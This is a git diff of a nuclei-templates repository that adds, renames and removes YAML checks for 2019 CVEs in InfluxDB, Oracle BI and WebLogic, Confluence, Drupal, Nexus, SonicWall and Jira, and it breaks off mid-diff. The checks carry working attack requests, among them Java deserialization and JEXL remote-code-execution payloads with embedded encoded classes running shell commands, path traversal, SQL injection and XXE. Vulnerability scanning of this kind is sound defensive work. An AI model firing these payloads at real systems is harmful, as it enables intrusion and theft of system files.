9.8 - cve-id: CVE-2019-20933 - cwe-id: CWE-287 - epss-score: 0.04913 - epss-percentile: 0.92609 - cpe: cpe:2.3:a:influxdata:influxdb:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: influxdata - product: influxdb - shodan-query: InfluxDB - tags: cve,cve2019,unauth,db,influxdb,misconfig,influxdata - -http: - - method: GET - path: - - "{{BaseURL}}/query?db=db&q=SHOW%20DATABASES" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"results":' - - '"name":"databases"' - condition: and - - - type: status - status: - - 200 -# digest: 4b0a00483046022100b58799e6f8127779c0e815988ea4492ea6d8636cc9b2d9a0c8b6619e4d8d6078022100e896460a50bf9af6cc431831d64f1bdb58867e720e5cf1e203c1ef4431670286:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/CVE-2019-2579.yaml b/nuclei-templates/CVE-2019/cve-2019-2579.yaml similarity index 100% rename from nuclei-templates/CVE-2019/CVE-2019-2579.yaml rename to nuclei-templates/CVE-2019/cve-2019-2579.yaml diff --git a/nuclei-templates/CVE-2019/cve-2019-2588.yaml b/nuclei-templates/CVE-2019/cve-2019-2588.yaml new file mode 100644 index 0000000000..92c2d58019 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-2588.yaml @@ -0,0 +1,27 @@ +id: CVE-2019-2588 + +info: + name: Oracle Business Intelligence Path Traversal + author: madrobot + severity: medium + tags: cve,cve2019,oracle,lfi + reference: http://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html + description: | + Vulnerability in the BI Publisher (formerly XML Publisher) component of Oracle Fusion Middleware (subcomponent: BI Publisher Security) + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N + cvss-score: 4.90 + cve-id: CVE-2019-2588 + +requests: + - method: GET + path: + - "{{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini" + matchers-condition: and + matchers: + - type: word + words: + - 'for 16-bit app support' + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2019/cve-2019-2616.yaml b/nuclei-templates/CVE-2019/cve-2019-2616.yaml new file mode 100644 index 0000000000..cc8c1eda41 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-2616.yaml @@ -0,0 +1,31 @@ +id: CVE-2019-2616 + +info: + name: XXE in Oracle Business Intelligence and XML Publisher + author: pdteam + severity: high + description: Oracle Business Intelligence / XML Publisher 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 - XML External Entity Injection + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2019-2616 + - https://www.exploit-db.com/exploits/46729 + tags: cve,cve2019,oracle,xxe,oast + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.20 + cve-id: CVE-2019-2616 + +requests: + - raw: + - | + POST /xmlpserver/ReportTemplateService.xls HTTP/1.1 + Host: {{Hostname}} + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Content-Type: text/xml; charset=UTF-8 + + + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-2729.yaml b/nuclei-templates/CVE-2019/cve-2019-2729.yaml new file mode 100644 index 0000000000..04e18b3fa1 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-2729.yaml @@ -0,0 +1,32 @@ +id: CVE-2019-2729 + +info: + name: Oracle WebLogic Server Administration Console Handle RCE + author: igibanez + severity: critical + description: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0 and 12.2.1.3.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2019-2729 + tags: cve,cve2019,oracle,rce,weblogic + +requests: + - raw: + - | + POST /wls-wsat/CoordinatorPortType HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/xml + + xxxxorg.slf4j.ext.EventData<java><void class="sun.misc.BASE64Decoder"><void method="decodeBuffer" id="byte_arr"><string>yv66vgAAADIAYwoAFAA8CgA9AD4KAD0APwoAQABBBwBCCgAFAEMHAEQKAAcARQgARgoABwBHBwBICgALADwKAAsASQoACwBKCABLCgATAEwHAE0IAE4HAE8HAFABAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExSZXN1bHRCYXNlRXhlYzsBAAhleGVjX2NtZAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAANmaXMBABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANpc3IBABtMamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcjsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGxpbmUBAAZyZXN1bHQBAA1TdGFja01hcFRhYmxlBwBRBwBSBwBTBwBCBwBEAQAKRXhjZXB0aW9ucwEAB2RvX2V4ZWMBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBNBwBUAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAChSZXN1bHRCYXNlRXhlYy5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAVABYHAFUMAFYAVwwAWABZBwBSDABaAFsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAVAFwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAVAF0BAAAMAF4AXwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABgAGEMAGIAXwEAC2NtZC5leGUgL2MgDAAcAB0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQALL2Jpbi9zaCAtYyABAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABMAFAAAAAAABAABABUAFgABABcAAAAvAAEAAQAAAAUqtwABsQAAAAIAGAAAAAYAAQAAAAMAGQAAAAwAAQAAAAUAGgAbAAAACQAcAB0AAgAXAAAA+QADAAcAAABOuAACKrYAA0wrtgAETbsABVkstwAGTrsAB1kttwAIOgQBOgUSCToGGQS2AApZOgXGABy7AAtZtwAMGQa2AA0ZBbYADbYADjoGp//fGQawAAAAAwAYAAAAJgAJAAAABgAIAAcADQAIABYACQAgAAoAIwALACcADAAyAA4ASwARABkAAABIAAcAAABOAB4AHwAAAAgARgAgACEAAQANAEEAIgAjAAIAFgA4ACQAJQADACAALgAmACcABAAjACsAKAAfAAUAJwAnACkAHwAGACoAAAAfAAL/ACcABwcAKwcALAcALQcALgcALwcAKwcAKwAAIwAwAAAABAABABEACQAxAB0AAgAXAAAAqgACAAMAAAA3EglMuwALWbcADBIPtgANKrYADbYADrgAEEynABtNuwALWbcADBIStgANKrYADbYADrgAEEwrsAABAAMAGgAdABEAAwAYAAAAGgAGAAAAFgADABkAGgAeAB0AGwAeAB0ANQAfABkAAAAgAAMAHgAXADIAMwACAAAANwAeAB8AAAADADQAKQAfAAEAKgAAABMAAv8AHQACBwArBwArAAEHADQXADAAAAAEAAEANQAJADYANwACABcAAAArAAAAAQAAAAGxAAAAAgAYAAAABgABAAAANgAZAAAADAABAAAAAQA4ADkAAAAwAAAABAABADUAAQA6AAAAAgA7</string></void></void><void class="org.mozilla.classfile.DefiningClassLoader"><void method="defineClass"><string>ResultBaseExec</string><object idref="byte_arr"></object><void method="newInstance"><void method="do_exec" id="result"><string>echo${IFS}COP-9272-9102-EVC|rev</string></void></void></void></void><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork" id="current_work"><void method="getClass"><void method="getDeclaredField"><string>connectionHandler</string><void method="setAccessible"><boolean>true</boolean></void><void method="get"><object idref="current_work"></object><void method="getServletRequest"><void method="getResponse"><void method="getServletOutputStream"><void method="writeStream"><object class="weblogic.xml.util.StringInputStream"><object idref="result"></object></object></void><void method="flush"/></void><void method="getWriter"><void method="write"><string></string></void></void></void></void></void></void></void></void></void></java> + + matchers-condition: and + matchers: + + - type: word + words: + - "CVE-2019-2729-POC" + + - type: status + status: + - 200 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-2767.yaml b/nuclei-templates/CVE-2019/cve-2019-2767.yaml deleted file mode 100644 index bf1dcb703f..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-2767.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: CVE-2019-2767 - -info: - name: Oracle Business Intelligence - Publisher XXE - author: madrobot - severity: high - description: There is an XXE vulnerability in the BI Publisher (formerly XML Publisher) component of Oracle Fusion Middleware. The supported versions affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. This easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise BI Publisher. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2019-2767 - - https://www.exploit-db.com/exploits/46729 - tags: cve,cve2019,oracle,xxe,oast - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N - cvss-score: 7.20 - cve-id: CVE-2019-2767 - -requests: - - raw: - - | - GET /xmlpserver/convert?xml=<%3fxml+version%3d"1.0"+%3f>%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123 HTTP/1.1 - Host: {{Hostname}} - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" diff --git a/nuclei-templates/CVE-2019/cve-2019-3396.yaml b/nuclei-templates/CVE-2019/cve-2019-3396.yaml new file mode 100644 index 0000000000..9a4ba766ef --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-3396.yaml @@ -0,0 +1,32 @@ +id: CVE-2019-3396 +info: + author: harshbothra_ + name: Atlassian Confluence Path Traversal + severity: critical + description: The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection. + reference: https://github.com/x-f1v3/CVE-2019-3396 + tags: cve,cve2019,atlassian,confluence,lfi,rce + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2019-3396 + cwe-id: CWE-22 + +requests: + - raw: + - | + POST /rest/tinymce/1/macro/preview HTTP/1.1 + Host: {{Hostname}} + Referer: {{Hostname}} + + {"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}} + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "contextConfigLocation" diff --git a/nuclei-templates/CVE-2019/CVE-2019-3401.yaml b/nuclei-templates/CVE-2019/cve-2019-3401.yaml similarity index 100% rename from nuclei-templates/CVE-2019/CVE-2019-3401.yaml rename to nuclei-templates/CVE-2019/cve-2019-3401.yaml diff --git a/nuclei-templates/CVE-2019/CVE-2019-3402.yaml b/nuclei-templates/CVE-2019/cve-2019-3402.yaml similarity index 100% rename from nuclei-templates/CVE-2019/CVE-2019-3402.yaml rename to nuclei-templates/CVE-2019/cve-2019-3402.yaml diff --git a/nuclei-templates/CVE-2019/cve-2019-3912.yaml b/nuclei-templates/CVE-2019/cve-2019-3912.yaml new file mode 100644 index 0000000000..6861b43f27 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-3912.yaml @@ -0,0 +1,29 @@ +id: CVE-2019-3912 + +info: + name: LabKey Server < 18.3.0 - Open redirect + author: 0x_Akoko + severity: medium + description: An open redirect vulnerability in LabKey Server Community Edition before 18.3.0-61806.763 via the /__r1/ returnURL parameter allows an unauthenticated remote attacker to redirect users to arbitrary web sites. + reference: + - https://www.tenable.com/security/research/tra-2019-03 + - https://www.cvedetails.com/cve/CVE-2019-3912 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2019-3912 + cwe-id: CWE-601 + metadata: + shodan-query: "Server: Labkey" + tags: cve,cve2019,redirect,labkey + +requests: + - method: GET + path: + - '{{BaseURL}}/labkey/__r1/login-login.view?returnUrl=http://example.com' + + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/nuclei-templates/CVE-2019/CVE-2019-3929.yaml b/nuclei-templates/CVE-2019/cve-2019-3929.yaml similarity index 100% rename from nuclei-templates/CVE-2019/CVE-2019-3929.yaml rename to nuclei-templates/CVE-2019/cve-2019-3929.yaml diff --git a/nuclei-templates/CVE-2019/CVE-2019-5127.yaml b/nuclei-templates/CVE-2019/cve-2019-5127.yaml similarity index 100% rename from nuclei-templates/CVE-2019/CVE-2019-5127.yaml rename to nuclei-templates/CVE-2019/cve-2019-5127.yaml diff --git a/nuclei-templates/CVE-2019/cve-2019-6340.yaml b/nuclei-templates/CVE-2019/cve-2019-6340.yaml deleted file mode 100644 index c7691882b1..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-6340.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2019-6340 - -info: - name: Drupal 8 core RESTful Web Services RCE - author: madrobot - severity: high - description: Some field types do not properly sanitize data from non-form sources in Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. This can lead to arbitrary PHP code execution in some cases. - reference: https://nvd.nist.gov/vuln/detail/CVE-2019-6340 - tags: cve,cve2019,drupal,rce - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.10 - cve-id: CVE-2019-6340 - cwe-id: CWE-502 - -requests: - - method: POST - path: - - '{{BaseURL}}/node/1?_format=hal_json' - - body: '{ - "link": [ - { - "value": "link", - "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" - } - ], - "_links": { - "type": { - "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" - } - } -}' - - matchers-condition: and - matchers: - - type: word - words: - - "uid=" - - "gid=" - - "groups=" - condition: and - part: body - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2019/cve-2019-7238.yaml b/nuclei-templates/CVE-2019/cve-2019-7238.yaml new file mode 100644 index 0000000000..e6d8c9427e --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-7238.yaml @@ -0,0 +1,37 @@ +id: CVE-2019-7238 + +info: + name: NEXUS < 3.14.0 Remote Code Execution + author: pikpikcu + severity: critical + tags: cve,cve2019,nexus,rce + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2019-7238 + - https://github.com/jas502n/CVE-2019-7238 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2019-7238 + description: "Sonatype Nexus Repository Manager before 3.15.0 has Incorrect Access Control." + +requests: + - raw: + - | + POST /service/extdirect HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + X-Requested-With: XMLHttpRequest + + {"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "function(x, y, z, c, integer, defineClass){ c=1.class.forName('java.lang.Character'); integer=1.class; x='cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c65547970655461626c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000d120eb6000f3a06190604b6001019061905b600113a07120b571212b8000d3a0819081213b6000f3a09190904b6001019091907b600113a0a120b571214b8000d3a0b190b1215b6000f3a0c190c04b60010013a0d03360e150e190ab80016a2003e190a150eb800173a0f190fc70006a70027190c190fb600113a0d190dc70006a70016190db60018b60019121ab6001b990006a70009840e01a7ffbe190db600183a0e190e121c03bd001db6001e190d03bd001fb600203a0f190fb600183a101910122103bd001db6001e190f03bd001fb600203a111911b600183a121912122203bd001db6001e191103bd001fb60020c000233a1319131904b600241913b60025b100000003002a0000009600250000001600080017000d0018001200190019001a0024001b002e001d0033001f004200200048002100510023005b002500640026006a002700730029007d002a0086002b008c002d008f002f009c003100a5003200aa003300ad003500b6003600bb003700be003900ce003a00d1002f00d7003d00de003e00f4003f00fb004001110041011800420131004401380045013d0049002b000000de001600a5002c00300031000f0092004500320033000e0000013e003400350000000801360036003700010012012c00380039000200190125003a003b0003002e0110003c003500040033010b003d003e0005004200fc003f00400006005100ed004100310007005b00e3004200430008006400da004400400009007300cb00450031000a007d00c100460043000b008600b800470040000c008f00af00480031000d00de006000490043000e00f4004a004a0031000f00fb0043004b004300100111002d004c0031001101180026004d004300120131000d004e004f00130050000000340005005b00e3004200510008007d00c100460051000b00de006000490051000e00fb0043004b0051001001180026004d005100120052000000040001005300010054000000020055'; y=0; z=''; while (y lt x.length()){ z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0]; y += 2; };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \ndefineClass.setAccessible(true);\nx=defineClass.invoke(\n y,\n 'Exploit.Test234',\n z.getBytes('latin1'), 0,\n 3054\n);x.getMethod('test', ''.class).invoke(null, 'cat /etc/passwd');'done!'}\n"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"} + + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + part: body + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2019/cve-2019-7275.yaml b/nuclei-templates/CVE-2019/cve-2019-7275.yaml deleted file mode 100644 index c50714bebc..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-7275.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2019-7275 - -info: - name: Open Redirect in Optergy Proton/Enterprise BMS - author: 0x_Akoko - severity: medium - reference: - - https://packetstormsecurity.com/files/155268/Optergy-Proton-Enterprise-BMS-2.3.0a-Open-Redirect.html - - https://applied-risk.com/resources/ar-2019-008 - - https://cxsecurity.com/issue/WLB-2019110074 - tags: cve,cve2019,redirect - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2019-7275 - cwe-id: CWE-601 - description: "Optergy Proton/Enterprise devices allow Open Redirect." - -requests: - - method: GET - path: - - "{{BaseURL}}/updating.jsp?url=https://example.com/" - - matchers: - - type: regex - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' - part: header diff --git a/nuclei-templates/CVE-2019/cve-2019-7481.yaml b/nuclei-templates/CVE-2019/cve-2019-7481.yaml new file mode 100644 index 0000000000..7d6021e2bb --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-7481.yaml @@ -0,0 +1,33 @@ +id: CVE-2019-7481 + +info: + name: sonicwall sra 4600 vpn pre-authenticated sql injection + author: _darrenmartyn + severity: high + description: | + The SonicWall SRA 4600 VPN appliance suffers a pre-authentication SQL injection vulnerability. + reference: + - https://www.crowdstrike.com/blog/how-ecrime-groups-leverage-sonicwall-vulnerability-cve-2019-7481/ + tags: cve,cve2019,sonicwall,sqli + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2019-7481 + cwe-id: CWE-200 + +requests: + - raw: + - | + POST /cgi-bin/supportInstaller HTTP/1.1 + Host: {{Hostname}} + Accept-Encoding: identity + User-Agent: MSIE + Content-Type: application/x-www-form-urlencoded + + fromEmailInvite=1&customerTID=unpossible'+UNION+SELECT+0,0,0,11132*379123,0,0,0,0-- + + matchers: + - type: word + words: + - "4220397236" + part: body diff --git a/nuclei-templates/CVE-2019/cve-2019-8442.yaml b/nuclei-templates/CVE-2019/cve-2019-8442.yaml new file mode 100644 index 0000000000..6effba17ec --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-8442.yaml @@ -0,0 +1,29 @@ +id: CVE-2019-8442 +info: + name: JIRA Directory Traversal + author: Kishore Krishna (siLLyDaddy) + severity: high + description: The CachingResourceDownloadRewriteRule class in Jira before version 7.13.4, and from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1 allows remote attackers to access files in the Jira webroot under the META-INF directory via a lax path access check. + reference: https://jira.atlassian.com/browse/JRASERVER-69241 + tags: cve,cve2019,atlassian,jira,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2019-8442 + +requests: + - method: GET + path: + - "{{BaseURL}}/s/{{randstr}}/_/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml" + - "{{BaseURL}}/s/{{randstr}}/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - 'com.atlassian.jira' + part: body \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-8446.yaml b/nuclei-templates/CVE-2019/cve-2019-8446.yaml new file mode 100644 index 0000000000..99959daaf4 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-8446.yaml @@ -0,0 +1,39 @@ +id: CVE-2019-8446 + +info: + name: Jira Improper Authorization + description: The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check. + author: dhiyaneshDk + severity: medium + tags: cve,cve2019,jira + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.30 + cve-id: CVE-2019-8446 + cwe-id: CWE-863 + reference: + - https://jira.atlassian.com/browse/JRASERVER-69777 + - https://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0839 + +requests: + - raw: + - | + POST /rest/issueNav/1/issueTable HTTP/1.1 + Host: {{Hostname}} + Connection: Close + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 + X-Atlassian-Token: no-check + Accept-Encoding: gzip, deflate + Accept-Language: en-US,en;q=0.9 + + {'jql':'project in projectsLeadByUser("{{randstr}}")'} + + matchers-condition: and + matchers: + - type: word + words: + - "the user does not exist" + part: body + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2019/cve-2019-8449.yaml 